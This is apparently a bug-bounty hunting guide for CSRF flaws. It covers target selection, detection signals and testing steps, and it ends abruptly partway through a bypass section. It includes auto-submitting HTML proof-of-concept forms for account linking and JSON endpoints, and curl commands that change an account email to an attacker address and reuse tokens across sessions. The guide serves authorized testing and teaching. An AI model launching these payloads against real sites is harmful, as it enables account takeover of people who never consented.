Crown Jewel Targets

CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:

Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact

Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.

Attack Surface Signals

URL Patterns

/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)

Response Header Signals

# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo

JS / DOM Patterns

// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field

Tech Stack Signals

Rails apps: Look for authenticity_token — test if it's static per session
Django apps: Check csrfmiddlewaretoken — test cross-user/session reuse
Grafana instances: CVE-2022-21703 — check version via /api/health
SAMLv2/OIDC flows: RelayState parameter rarely validated
Express/Node APIs: Often skip CSRF middleware on /api/* routes

Step-by-Step Hunting Methodology

Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.
Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:
- Same session, different page loads (should be different)
- Different sessions for same user
- Different users entirely
Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.
Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:
- Send application/x-www-form-urlencoded to a JSON endpoint
- Send text/plain with a JSON body
- If accepted, HTML form can trigger it cross-origin
Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.
Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.

Payload & Detection Patterns

Basic CSRF PoC (Form POST)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>

JSON CSRF via text/plain (bypasses Content-Type check)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    <!-- browser sends: {"status":"ok","x":"=padding"} -->
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>

curl: Test CSRF token omission

# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "email=attacker@evil.com" \
  -v 2>&1 | grep -E "HTTP|location|error"

curl: Test token reuse across sessions

# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -oP 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&email=test@test.com" \
  -v

Grep patterns for recon

# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .

Grafana CVE-2022-21703 version check

curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15

Common Root Causes

Static CSRF tokens per session — Developers generate one token at login and reuse it. Airbnb bug: authenticity_token was the same across all page loads for a session, making it trivially leakable.
Token not tied to user identity — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug: csrftoken reusable across users.
Missing token on "secondary" endpoints — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.
JSON API assumption of safety — Belief that Content-Type: application/json prevents CSRF. It does via CORS preflight — unless the server also accepts text/plain or application/x-www-form-urlencoded.
SameSite=None for cross-site embeds — Developers set SameSite=None to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.
OAuth RelayState not validated — Developers implement SAML/OIDC but treat RelayState as a redirect hint, not a CSRF state parameter requiring cryptographic binding.
Framework misconfiguration — CSRF middleware excluded for /api/* routes in Django/Rails because "API clients don't need it," but browser-based JS clients do.
Third-party software defaults — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.

Bypass Techniques

Defense: SameSite=Lax cookies

Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.

Defense: CSRF token present

Bypasses:

Token is static per session — steal via XSS, Refe

hunt-csrf

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